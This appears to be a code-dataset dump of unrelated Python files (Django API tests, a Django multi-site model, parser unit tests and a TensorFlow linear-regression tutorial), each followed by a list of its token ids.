data=json.dumps({'group': 'fiscal_year'}))
assert resp.status_code == status.HTTP_400_BAD_REQUEST
@pytest.mark.django_db
def test_spending_over_time_subawards_success(client):
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters(),
"subawards": True
}))
assert resp.status_code == status.HTTP_200_OK
@pytest.mark.django_db
def test_spending_over_time_subawards_failure(client):
"""Verify error on bad autocomplete request for budget function."""
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters(),
"subawards": "string"
}))
assert resp.status_code == status.HTTP_400_BAD_REQUEST
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
4390,
13,
13,
5215,
11451,
1688,
13,
3166,
1791,
29918,
4468,
1053,
4660,
13,
13,
3166,
502,
4692,
2548,
29918,
2754,
29889,
4478,
29889,
21150,
29889,
1688,
29918,
17640,
29918,
1272,
29918,
4478,
1053,
599,
29918,
26705,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
11014,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1753,
1243,
29918,
1028,
2548,
29918,
957,
29918,
2230,
29918,
8698,
29898,
4645,
1125,
13,
13,
1678,
396,
1243,
363,
4312,
18094,
13,
1678,
4613,
353,
3132,
29889,
2490,
29898,
13,
4706,
8207,
2754,
29914,
29894,
29906,
29914,
4478,
29914,
1028,
2548,
29918,
957,
29918,
2230,
742,
13,
4706,
2793,
29918,
1853,
2433,
6214,
29914,
3126,
742,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
3319,
13,
9651,
376,
2972,
1115,
376,
29888,
275,
1052,
29918,
6360,
613,
13,
9651,
376,
26705,
1115,
426,
13,
18884,
376,
26766,
1115,
376,
1688,
29908,
13,
9651,
500,
13,
4706,
500,
876,
13,
1678,
4974,
4613,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29906,
29900,
29900,
29918,
8949,
13,
13,
1678,
396,
1243,
599,
18094,
13,
1678,
4613,
353,
3132,
29889,
2490,
29898,
13,
4706,
8207,
2754,
29914,
29894,
29906,
29914,
4478,
29914,
1028,
2548,
29918,
957,
29918,
2230,
742,
13,
4706,
2793,
29918,
1853,
2433,
6214,
29914,
3126,
742,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
3319,
13,
9651,
376,
2972,
1115,
376,
339,
4254,
613,
13,
9651,
376,
26705,
1115,
599,
29918,
26705,
580,
13,
4706,
500,
876,
13,
1678,
4974,
4613,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29906,
29900,
29900,
29918,
8949,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
11014,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1753,
1243,
29918,
1028,
2548,
29918,
957,
29918,
2230,
29918,
14057,
545,
29898,
4645,
1125,
13,
1678,
9995,
6565,
1598,
1059,
373,
4319,
4469,
8835,
2009,
363,
23562,
740,
1213,
15945,
13,
13,
1678,
4613,
353,
3132,
29889,
2490,
29898,
13,
4706,
8207,
2754,
29914,
29894,
29906,
29914,
4478,
29914,
1028,
2548,
29918,
957,
29918,
2230,
29914,
742,
13,
4706,
2793,
29918,
1853,
2433,
6214,
29914,
3126,
742,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
3319,
29915,
2972,
2396,
525,
29888,
275,
1052,
29918,
6360,
10827,
876,
13,
1678,
4974,
4613,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29946,
29900,
29900,
29918,
29933,
3035,
29918,
16244,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1753,
1243,
29918,
1028,
2548,
29918,
957,
29918,
2230,
29918,
1491,
29874,
2935,
29918,
8698,
29898,
4645,
1125,
13,
13,
1678,
4613,
353,
3132,
29889,
2490,
29898,
13,
4706,
8207,
2754,
29914,
29894,
29906,
29914,
4478,
29914,
1028,
2548,
29918,
957,
29918,
2230,
742,
13,
4706,
2793,
29918,
1853,
2433,
6214,
29914,
3126,
742,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
3319,
13,
9651,
376,
2972,
1115,
376,
339,
4254,
613,
13,
9651,
376,
26705,
1115,
599,
29918,
26705,
3285,
13,
9651,
376,
1491,
29874,
2935,
1115,
5852,
13,
4706,
500,
876,
13,
1678,
4974,
4613,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29906,
29900,
29900,
29918,
8949,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1753,
1243,
29918,
1028,
2548,
29918,
957,
29918,
2230,
29918,
1491,
29874,
2935,
29918,
14057,
545,
29898,
4645,
1125,
13,
1678,
9995,
6565,
1598,
1059,
373,
4319,
4469,
8835,
2009,
363,
23562,
740,
1213,
15945,
13,
13,
1678,
4613,
353,
3132,
29889,
2490,
29898,
13,
4706,
8207,
2754,
29914,
29894,
29906,
29914,
4478,
29914,
1028,
2548,
29918,
957,
29918,
2230,
742,
13,
4706,
2793,
29918,
1853,
2433,
6214,
29914,
3126,
742,
13,
4706,
848,
29922,
3126,
29889,
29881,
17204,
3319,
13,
9651,
376,
2972,
1115,
376,
339,
4254,
613,
13,
9651,
376,
26705,
1115,
599,
29918,
26705,
3285,
13,
9651,
376,
1491,
29874,
2935,
1115,
376,
1807,
29908,
13,
4706,
500,
876,
13,
1678,
4974,
4613,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29946,
29900,
29900,
29918,
29933,
3035,
29918,
16244,
13,
2
] |
webquills/sites/models.py | webquills/webquills | 0 | 68700 | <filename>webquills/sites/models.py
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import models
from django.db.models import Case, IntegerField, Q, When
from django.http.request import split_domain_port
from django.utils.translation import gettext_lazy as _
from webquills.core.models import Author
SITE_CACHE = {}
MATCH_HOSTNAME = 0
MATCH_DOMAIN = 1
MATCH_DEFAULT = 2
class SiteManager(models.Manager):
def get_queryset(self):
return super().get_queryset().select_related("author")
def _get_for_request(self, request):
host = split_domain_port(request.get_host())[0]
if host in SITE_CACHE:
return SITE_CACHE[host]
# Special case: if subdomain not found, select site with same root domain.
# Handy for local dev with "localhost.domain.tld" but in prod you should
# redirect to the main domain.
parts = host.split(".")
domain = ".".join(parts[-2:])
if domain in SITE_CACHE:
return SITE_CACHE[domain]
sites = list(
Site.objects.annotate(
match=Case(
# annotate the results by best choice descending
# put exact hostname match first
When(domain=host, then=MATCH_HOSTNAME),
# then put root domain match
When(domain=domain, then=MATCH_DOMAIN),
# then match default with different hostname. there is only ever
# one default, so order it above (possibly multiple) hostname
# matches so we can use sites[0] below to access it
When(id=settings.SITE_ID, then=MATCH_DEFAULT),
# because of the filter below, if it's not default then its a hostname match
default=MATCH_DEFAULT,
output_field=IntegerField(),
)
)
.filter(Q(domain__in=[host, domain]) | Q(id=settings.SITE_ID))
.order_by("match")
)
if not sites:
raise self.model.DoesNotExist()
for site in sites:
# Might have returned as many as 3, may as well cache them all
SITE_CACHE[site.domain] = site
return sites[0]
def get_current(self, request=None):
"Implemented for compatibility with Django sites."
if request:
return self._get_for_request(request)
elif getattr(settings, "SITE_ID", ""):
return self.get(id=settings.SITE_ID)
raise ImproperlyConfigured(
"You're using the Webquills sites framework without having "
"set the SITE_ID setting. Create a site in your database and "
"set the SITE_ID setting or pass a request to "
"Site.objects.get_current() to fix this error."
)
def clear_cache(self):
"""Clear the ``Site`` object cache."""
global SITE_CACHE
SITE_CACHE = {}
def get_by_natural_key(self, domain):
return self.get(domain=domain)
class Site(models.Model):
class Meta:
ordering = ["domain"]
verbose_name = _("site")
verbose_name_plural = _("sites")
domain = models.CharField(
_("domain name"),
max_length=100,
unique=True,
)
name = models.CharField(_("display name"), max_length=50)
tagline = models.CharField(
_("tagline"),
max_length=255,
blank=True,
null=True,
help_text=_("Subtitle. A few words letting visitors know what to expect."),
)
author = models.ForeignKey(
Author,
verbose_name=_("author"),
on_delete=models.SET_NULL,
blank=True,
null=True,
help_text=_("Default author for any page without an explicit author"),
)
objects = SiteManager()
def __str__(self) -> str:
return self.name
def save(self, *args, **kwargs):
# Saving a site could have changed a domain, or added a new domain that
# was previously mapped to the default site. Nuke the cache to prevent
# old mappings overriding new ones.
global SITE_CACHE
super().save(*args, **kwargs)
SITE_CACHE = {}
def delete(self, *args, **kwargs):
# Hopefully we don't go around deleting sites too often, but still...
SITE_CACHE.pop(self.domain, None)
return super().delete(*args, **kwargs)
def natural_key(self):
return (self.domain,)
| [
1,
529,
9507,
29958,
2676,
339,
6090,
29914,
16315,
29914,
9794,
29889,
2272,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
3221,
29889,
11739,
29879,
1053,
1954,
771,
546,
368,
3991,
2955,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
3166,
9557,
29889,
2585,
29889,
9794,
1053,
11733,
29892,
8102,
3073,
29892,
660,
29892,
1932,
13,
3166,
9557,
29889,
1124,
29889,
3827,
1053,
6219,
29918,
7247,
29918,
637,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
679,
726,
29918,
433,
1537,
408,
903,
13,
13,
3166,
1856,
339,
6090,
29889,
3221,
29889,
9794,
1053,
13361,
13,
13,
13,
29903,
9094,
29918,
29907,
2477,
9606,
353,
6571,
13,
29924,
14789,
29918,
20832,
5813,
353,
29871,
29900,
13,
29924,
14789,
29918,
3970,
29032,
353,
29871,
29896,
13,
29924,
14789,
29918,
23397,
353,
29871,
29906,
13,
13,
13,
1990,
10781,
3260,
29898,
9794,
29889,
3260,
1125,
13,
1678,
822,
679,
29918,
1972,
842,
29898,
1311,
1125,
13,
4706,
736,
2428,
2141,
657,
29918,
1972,
842,
2141,
2622,
29918,
12817,
703,
8921,
1159,
13,
13,
1678,
822,
903,
657,
29918,
1454,
29918,
3827,
29898,
1311,
29892,
2009,
1125,
13,
4706,
3495,
353,
6219,
29918,
7247,
29918,
637,
29898,
3827,
29889,
657,
29918,
3069,
3101,
29961,
29900,
29962,
13,
4706,
565,
3495,
297,
317,
9094,
29918,
29907,
2477,
9606,
29901,
13,
9651,
736,
317,
9094,
29918,
29907,
2477,
9606,
29961,
3069,
29962,
13,
13,
4706,
396,
12630,
1206,
29901,
565,
1014,
7247,
451,
1476,
29892,
1831,
3268,
411,
1021,
3876,
5354,
29889,
13,
4706,
396,
5166,
29891,
363,
1887,
2906,
411,
376,
7640,
29889,
7247,
29889,
29873,
430,
29908,
541,
297,
11859,
366,
881,
13,
4706,
396,
6684,
304,
278,
1667,
5354,
29889,
13,
4706,
5633,
353,
3495,
29889,
5451,
17350,
1159,
13,
4706,
5354,
353,
376,
1213,
29889,
7122,
29898,
20895,
14352,
29906,
29901,
2314,
13,
4706,
565,
5354,
297,
317,
9094,
29918,
29907,
2477,
9606,
29901,
13,
9651,
736,
317,
9094,
29918,
29907,
2477,
9606,
29961,
7247,
29962,
13,
13,
4706,
11840,
353,
1051,
29898,
13,
9651,
10781,
29889,
12650,
29889,
6735,
403,
29898,
13,
18884,
1993,
29922,
8259,
29898,
13,
462,
1678,
396,
9732,
403,
278,
2582,
491,
1900,
7348,
5153,
2548,
13,
462,
1678,
396,
1925,
2684,
3495,
978,
1993,
937,
13,
462,
1678,
1932,
29898,
7247,
29922,
3069,
29892,
769,
29922,
29924,
14789,
29918,
20832,
5813,
511,
13,
462,
1678,
396,
769,
1925,
3876,
5354,
1993,
13,
462,
1678,
1932,
29898,
7247,
29922,
7247,
29892,
769,
29922,
29924,
14789,
29918,
3970,
29032,
511,
13,
462,
1678,
396,
769,
1993,
2322,
411,
1422,
3495,
978,
29889,
727,
338,
871,
3926,
13,
462,
1678,
396,
697,
2322,
29892,
577,
1797,
372,
2038,
313,
28802,
14981,
2999,
29897,
3495,
978,
13,
462,
1678,
396,
7087,
577,
591,
508,
671,
11840,
29961,
29900,
29962,
2400,
304,
2130,
372,
13,
462,
1678,
1932,
29898,
333,
29922,
11027,
29889,
29903,
9094,
29918,
1367,
29892,
769,
29922,
29924,
14789,
29918,
23397,
511,
13,
462,
1678,
396,
1363,
310,
278,
4175,
2400,
29892,
565,
372,
29915,
29879,
451,
2322,
769,
967,
263,
3495,
978,
1993,
13,
462,
1678,
2322,
29922,
29924,
14789,
29918,
23397,
29892,
13,
462,
1678,
1962,
29918,
2671,
29922,
7798,
3073,
3285,
13,
18884,
1723,
13,
9651,
1723,
13,
9651,
869,
4572,
29898,
29984,
29898,
7247,
1649,
262,
11759,
3069,
29892,
5354,
2314,
891,
660,
29898,
333,
29922,
11027,
29889,
29903,
9094,
29918,
1367,
876,
13,
9651,
869,
2098,
29918,
1609,
703,
4352,
1159,
13,
4706,
1723,
13,
4706,
565,
451,
11840,
29901,
13,
9651,
12020,
1583,
29889,
4299,
29889,
25125,
3664,
1252,
391,
580,
13,
13,
4706,
363,
3268,
297,
11840,
29901,
13,
9651,
396,
341,
523,
505,
4133,
408,
1784,
408,
29871,
29941,
29892,
1122,
408,
1532,
7090,
963,
599,
13,
9651,
317,
9094,
29918,
29907,
2477,
9606,
29961,
2746,
29889,
7247,
29962,
353,
3268,
13,
4706,
736,
11840,
29961,
29900,
29962,
13,
13,
1678,
822,
679,
29918,
3784,
29898,
1311,
29892,
2009,
29922,
8516,
1125,
13,
4706,
376,
1888,
2037,
287,
363,
24521,
411,
15337,
11840,
1213,
13,
4706,
565,
2009,
29901,
13,
9651,
736,
1583,
3032,
657,
29918,
1454,
29918,
3827,
29898,
3827,
29897,
13,
4706,
25342,
679,
5552,
29898,
11027,
29892,
376,
29903,
9094,
29918,
1367,
613,
5124,
1125,
13,
9651,
736,
1583,
29889,
657,
29898,
333,
29922,
11027,
29889,
29903,
9094,
29918,
1367,
29897,
13,
13,
4706,
12020,
1954,
771,
546,
368,
3991,
2955,
29898,
13,
9651,
376,
3492,
29915,
276,
773,
278,
2563,
339,
6090,
11840,
6890,
1728,
2534,
376,
13,
9651,
376,
842,
278,
317,
9094,
29918,
1367,
4444,
29889,
6204,
263,
3268,
297,
596,
2566,
322,
376,
13,
9651,
376,
842,
278,
317,
9094,
29918,
1367,
4444,
470,
1209,
263,
2009,
304,
376,
13,
9651,
376,
17033,
29889,
12650,
29889,
657,
29918,
3784,
580,
304,
2329,
445,
1059,
1213,
13,
4706,
1723,
13,
13,
1678,
822,
2821,
29918,
8173,
29898,
1311,
1125,
13,
4706,
9995,
18759,
278,
4954,
17033,
16159,
1203,
7090,
1213,
15945,
13,
4706,
5534,
317,
9094,
29918,
29907,
2477,
9606,
13,
4706,
317,
9094,
29918,
29907,
2477,
9606,
353,
6571,
13,
13,
1678,
822,
679,
29918,
1609,
29918,
25047,
29918,
1989,
29898,
1311,
29892,
5354,
1125,
13,
4706,
736,
1583,
29889,
657,
29898,
7247,
29922,
7247,
29897,
13,
13,
13,
1990,
10781,
29898,
9794,
29889,
3195,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
20520,
353,
6796,
7247,
3108,
13,
4706,
26952,
29918,
978,
353,
903,
703,
2746,
1159,
13,
4706,
26952,
29918,
978,
29918,
572,
3631,
353,
903,
703,
16315,
1159,
13,
13,
1678,
5354,
353,
4733,
29889,
27890,
29898,
13,
4706,
903,
703,
7247,
1024,
4968,
13,
4706,
4236,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
13,
4706,
5412,
29922,
5574,
29892,
13,
1678,
1723,
13,
13,
1678,
1024,
353,
4733,
29889,
27890,
7373,
703,
4990,
1024,
4968,
4236,
29918,
2848,
29922,
29945,
29900,
29897,
13,
13,
1678,
4055,
1220,
353,
4733,
29889,
27890,
29898,
13,
4706,
903,
703,
4039,
1220,
4968,
13,
4706,
4236,
29918,
2848,
29922,
29906,
29945,
29945,
29892,
13,
4706,
9654,
29922,
5574,
29892,
13,
4706,
1870,
29922,
5574,
29892,
13,
4706,
1371,
29918,
726,
29922,
29918,
703,
4035,
3257,
29889,
319,
2846,
3838,
27697,
26824,
1073,
825,
304,
2149,
1213,
511,
13,
1678,
1723,
13,
13,
1678,
4148,
353,
4733,
29889,
27755,
2558,
29898,
13,
4706,
13361,
29892,
13,
4706,
26952,
29918,
978,
29922,
29918,
703,
8921,
4968,
13,
4706,
373,
29918,
8143,
29922,
9794,
29889,
10490,
29918,
10074,
29892,
13,
4706,
9654,
29922,
5574,
29892,
13,
4706,
1870,
29922,
5574,
29892,
13,
4706,
1371,
29918,
726,
29922,
29918,
703,
4592,
4148,
363,
738,
1813,
1728,
385,
6261,
4148,
4968,
13,
1678,
1723,
13,
13,
1678,
3618,
353,
10781,
3260,
580,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
29897,
1599,
851,
29901,
13,
4706,
736,
1583,
29889,
978,
13,
13,
1678,
822,
4078,
29898,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
396,
317,
5555,
263,
3268,
1033,
505,
3939,
263,
5354,
29892,
470,
2715,
263,
716,
5354,
393,
13,
4706,
396,
471,
9251,
20545,
304,
278,
2322,
3268,
29889,
12487,
446,
278,
7090,
304,
5557,
13,
4706,
396,
2030,
611,
27775,
20831,
292,
716,
6743,
29889,
13,
4706,
5534,
317,
9094,
29918,
29907,
2477,
9606,
13,
4706,
2428,
2141,
7620,
10456,
5085,
29892,
3579,
19290,
29897,
13,
4706,
317,
9094,
29918,
29907,
2477,
9606,
353,
6571,
13,
13,
1678,
822,
5217,
29898,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
396,
7963,
3730,
591,
1016,
29915,
29873,
748,
2820,
21228,
11840,
2086,
4049,
29892,
541,
1603,
856,
13,
4706,
317,
9094,
29918,
29907,
2477,
9606,
29889,
7323,
29898,
1311,
29889,
7247,
29892,
6213,
29897,
13,
4706,
736,
2428,
2141,
8143,
10456,
5085,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
5613,
29918,
1989,
29898,
1311,
1125,
13,
4706,
736,
313,
1311,
29889,
7247,
29892,
29897,
13,
2
] |
reflexy/base/tests/test_reflex.py | eso/reflexy | 0 | 38477 | import unittest
from reflexy.base import reflex
class TestReflexModule(unittest.TestCase):
sof = 'datasetname|file1.fits;PRO_CATG1;PURPOSE1:PURPOSE2,file2;' \
'PRO_CAT2;PURPOSE1'
sopexp = [('long_param1', '3'), ('param2', '3'), ('param3', 'ser'),
('param_not_shown', 'none')]
sop = 'recipe_name:long_param1=3,recipe_name:param2=3,' \
'recipe_name:param3=ser,recipe_name:param_not_shown=none'
def test_parseSof(self):
r = reflex.parseSof(self.sof)
self.assertEqual(len(r), 2)
self.assertEqual(r.datasetName, 'datasetname')
f1, f2 = r.files
self.assertEqual(f1.name, 'file1.fits')
self.assertEqual(f1.category, 'PRO_CATG1')
self.assertEqual(len(f1.purposes), 2)
self.assertIn('PURPOSE1', f1.purposes)
self.assertIn('PURPOSE2', f1.purposes)
self.assertEqual(f2.name, 'file2')
self.assertEqual(f2.category, 'PRO_CAT2')
self.assertEqual(len(f2.purposes), 1)
self.assertEqual(f2.purposes[0], 'PURPOSE1')
def test_parseRoundTripJson(self):
r = reflex.parseSof(self.sof)
j = r.toJSON()
r2 = reflex.parseSofJson(j)
self.assertEqual(r, r2)
def test_parseSop(self):
r = reflex.parseSop(self.sop)
self.assertEqual(len(r), len(self.sopexp))
for p, ep in zip(r, self.sopexp):
self.assertEqual(p.recipe, 'recipe_name')
self.assertEqual(p.displayName, ep[0])
self.assertEqual(p.value, ep[1])
if __name__ == "__main__":
unittest.main()
| [
1,
1053,
443,
27958,
13,
3166,
2143,
2506,
29891,
29889,
3188,
1053,
2143,
2506,
13,
13,
13,
1990,
4321,
5620,
2506,
7355,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
577,
29888,
353,
525,
24713,
978,
29989,
1445,
29896,
29889,
29888,
1169,
29936,
8618,
29918,
23972,
29954,
29896,
29936,
29925,
4574,
13152,
1660,
29896,
29901,
29925,
4574,
13152,
1660,
29906,
29892,
1445,
29906,
29936,
29915,
320,
13,
3986,
525,
8618,
29918,
23972,
29906,
29936,
29925,
4574,
13152,
1660,
29896,
29915,
13,
1678,
577,
412,
26330,
353,
518,
877,
5426,
29918,
3207,
29896,
742,
525,
29941,
5477,
6702,
3207,
29906,
742,
525,
29941,
5477,
6702,
3207,
29941,
742,
525,
643,
5477,
13,
795,
6702,
3207,
29918,
1333,
29918,
845,
776,
742,
525,
9290,
1495,
29962,
13,
1678,
12103,
353,
525,
4361,
412,
29918,
978,
29901,
5426,
29918,
3207,
29896,
29922,
29941,
29892,
4361,
412,
29918,
978,
29901,
3207,
29906,
29922,
29941,
5501,
320,
13,
3986,
525,
4361,
412,
29918,
978,
29901,
3207,
29941,
29922,
643,
29892,
4361,
412,
29918,
978,
29901,
3207,
29918,
1333,
29918,
845,
776,
29922,
9290,
29915,
13,
13,
1678,
822,
1243,
29918,
5510,
29903,
974,
29898,
1311,
1125,
13,
4706,
364,
353,
2143,
2506,
29889,
5510,
29903,
974,
29898,
1311,
29889,
578,
29888,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
29878,
511,
29871,
29906,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29878,
29889,
24713,
1170,
29892,
525,
24713,
978,
1495,
13,
4706,
285,
29896,
29892,
285,
29906,
353,
364,
29889,
5325,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29888,
29896,
29889,
978,
29892,
525,
1445,
29896,
29889,
29888,
1169,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29888,
29896,
29889,
7320,
29892,
525,
8618,
29918,
23972,
29954,
29896,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
29888,
29896,
29889,
15503,
10590,
511,
29871,
29906,
29897,
13,
4706,
1583,
29889,
9294,
797,
877,
29925,
4574,
13152,
1660,
29896,
742,
285,
29896,
29889,
15503,
10590,
29897,
13,
4706,
1583,
29889,
9294,
797,
877,
29925,
4574,
13152,
1660,
29906,
742,
285,
29896,
29889,
15503,
10590,
29897,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29888,
29906,
29889,
978,
29892,
525,
1445,
29906,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29888,
29906,
29889,
7320,
29892,
525,
8618,
29918,
23972,
29906,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
29888,
29906,
29889,
15503,
10590,
511,
29871,
29896,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29888,
29906,
29889,
15503,
10590,
29961,
29900,
1402,
525,
29925,
4574,
13152,
1660,
29896,
1495,
13,
13,
1678,
822,
1243,
29918,
5510,
29934,
618,
29911,
6472,
8148,
29898,
1311,
1125,
13,
4706,
364,
353,
2143,
2506,
29889,
5510,
29903,
974,
29898,
1311,
29889,
578,
29888,
29897,
13,
4706,
432,
353,
364,
29889,
517,
7249,
580,
13,
4706,
364,
29906,
353,
2143,
2506,
29889,
5510,
29903,
974,
8148,
29898,
29926,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29878,
29892,
364,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
5510,
29903,
459,
29898,
1311,
1125,
13,
4706,
364,
353,
2143,
2506,
29889,
5510,
29903,
459,
29898,
1311,
29889,
29879,
459,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
29878,
511,
7431,
29898,
1311,
29889,
578,
412,
26330,
876,
13,
4706,
363,
282,
29892,
9358,
297,
14319,
29898,
29878,
29892,
1583,
29889,
578,
412,
26330,
1125,
13,
9651,
1583,
29889,
9294,
9843,
29898,
29886,
29889,
4361,
412,
29892,
525,
4361,
412,
29918,
978,
1495,
13,
9651,
1583,
29889,
9294,
9843,
29898,
29886,
29889,
4990,
1170,
29892,
9358,
29961,
29900,
2314,
13,
9651,
1583,
29889,
9294,
9843,
29898,
29886,
29889,
1767,
29892,
9358,
29961,
29896,
2314,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
CS20si/examples/03_linreg_placeholder.py | kozistr/ML-Study | 5 | 69176 | """ Solution for simple linear regression example using placeholders
Created by <NAME> (<EMAIL>)
CS20: "TensorFlow for Deep Learning Research"
cs20.stanford.edu
Lecture 03
"""
import os
import time
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
import utils
DATA_FILE = 'data/birth_life_2010.txt'
# Step 1: read in data from the .txt file
data, n_samples = utils.read_birth_life_data(DATA_FILE)
# Step 2: create placeholders for X (birth rate) and Y (life expectancy)
X = tf.placeholder(tf.float32, name='X')
Y = tf.placeholder(tf.float32, name='Y')
# Step 3: create weight and bias, initialized to 0
w = tf.get_variable('weights', initializer=tf.constant(0.0))
b = tf.get_variable('bias', initializer=tf.constant(0.0))
# Step 4: build model to predict Y
Y_predicted = w * X + b
# Step 5: use the squared error as the loss function
# you can use either mean squared error or Huber loss
loss = tf.square(Y - Y_predicted, name='loss')
# loss = utils.huber_loss(Y, Y_predicted)
# Step 6: using gradient descent with learning rate of 0.001 to minimize loss
optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)
start = time.time()
writer = tf.summary.FileWriter('./graphs/linear_reg', tf.get_default_graph())
with tf.Session() as sess:
# Step 7: initialize the necessary variables, in this case, w and b
sess.run(tf.global_variables_initializer())
# Step 8: train the model for 100 epochs
for i in range(100):
total_loss = 0
for x, y in data:
# Session execute optimizer and fetch values of loss
_, l = sess.run([optimizer, loss], feed_dict={X: x, Y: y})
total_loss += l
print('Epoch {0}: {1}'.format(i, total_loss / n_samples))
# close the writer when you're done using it
writer.close()
# Step 9: output the values of w and b
w_out, b_out = sess.run([w, b])
print('Took: %f seconds' % (time.time() - start))
# plot the results
plt.plot(data[:, 0], data[:, 1], 'bo', label='Real data')
plt.plot(data[:, 0], data[:, 0] * w_out + b_out, 'r', label='Predicted data')
plt.legend()
plt.show()
| [
1,
9995,
24380,
363,
2560,
5608,
17855,
1342,
773,
2058,
8948,
414,
13,
20399,
491,
529,
5813,
29958,
313,
29966,
26862,
6227,
12948,
13,
9295,
29906,
29900,
29901,
376,
29911,
6073,
17907,
363,
21784,
29257,
10550,
29908,
13,
2395,
29906,
29900,
29889,
14411,
4006,
29889,
6085,
13,
29931,
522,
545,
29871,
29900,
29941,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
931,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
26110,
408,
15886,
13,
13,
5215,
3667,
29879,
13,
13,
13,
14573,
29918,
7724,
353,
525,
1272,
29914,
29890,
7515,
29918,
19264,
29918,
29906,
29900,
29896,
29900,
29889,
3945,
29915,
13,
13,
29937,
16696,
29871,
29896,
29901,
1303,
297,
848,
515,
278,
869,
3945,
934,
13,
1272,
29892,
302,
29918,
27736,
353,
3667,
29879,
29889,
949,
29918,
29890,
7515,
29918,
19264,
29918,
1272,
29898,
14573,
29918,
7724,
29897,
13,
13,
29937,
16696,
29871,
29906,
29901,
1653,
2058,
8948,
414,
363,
1060,
313,
29890,
7515,
6554,
29897,
322,
612,
313,
19264,
2149,
6906,
29897,
13,
29990,
353,
15886,
29889,
27074,
29898,
13264,
29889,
7411,
29941,
29906,
29892,
1024,
2433,
29990,
1495,
13,
29979,
353,
15886,
29889,
27074,
29898,
13264,
29889,
7411,
29941,
29906,
29892,
1024,
2433,
29979,
1495,
13,
13,
29937,
16696,
29871,
29941,
29901,
1653,
7688,
322,
24003,
29892,
16601,
304,
29871,
29900,
13,
29893,
353,
15886,
29889,
657,
29918,
11918,
877,
705,
5861,
742,
2847,
3950,
29922,
13264,
29889,
23362,
29898,
29900,
29889,
29900,
876,
13,
29890,
353,
15886,
29889,
657,
29918,
11918,
877,
29890,
3173,
742,
2847,
3950,
29922,
13264,
29889,
23362,
29898,
29900,
29889,
29900,
876,
13,
13,
29937,
16696,
29871,
29946,
29901,
2048,
1904,
304,
8500,
612,
13,
29979,
29918,
11965,
18186,
353,
281,
334,
1060,
718,
289,
13,
13,
29937,
16696,
29871,
29945,
29901,
671,
278,
10674,
1965,
1059,
408,
278,
6410,
740,
13,
29937,
366,
508,
671,
2845,
2099,
10674,
1965,
1059,
470,
379,
11234,
6410,
13,
6758,
353,
15886,
29889,
17619,
29898,
29979,
448,
612,
29918,
11965,
18186,
29892,
1024,
2433,
6758,
1495,
13,
29937,
6410,
353,
3667,
29879,
29889,
29882,
11234,
29918,
6758,
29898,
29979,
29892,
612,
29918,
11965,
18186,
29897,
13,
13,
29937,
16696,
29871,
29953,
29901,
773,
16030,
26815,
411,
6509,
6554,
310,
29871,
29900,
29889,
29900,
29900,
29896,
304,
6260,
675,
6410,
13,
20640,
3950,
353,
15886,
29889,
14968,
29889,
25584,
993,
4002,
1760,
20624,
326,
3950,
29898,
21891,
29918,
10492,
29922,
29900,
29889,
29900,
29900,
29896,
467,
1195,
326,
675,
29898,
6758,
29897,
13,
13,
2962,
353,
931,
29889,
2230,
580,
13,
13236,
353,
15886,
29889,
7727,
29889,
2283,
10507,
877,
6904,
4262,
29879,
29914,
10660,
29918,
1727,
742,
15886,
29889,
657,
29918,
4381,
29918,
4262,
3101,
13,
2541,
15886,
29889,
7317,
580,
408,
27937,
29901,
13,
1678,
396,
16696,
29871,
29955,
29901,
11905,
278,
5181,
3651,
29892,
297,
445,
1206,
29892,
281,
322,
289,
13,
1678,
27937,
29889,
3389,
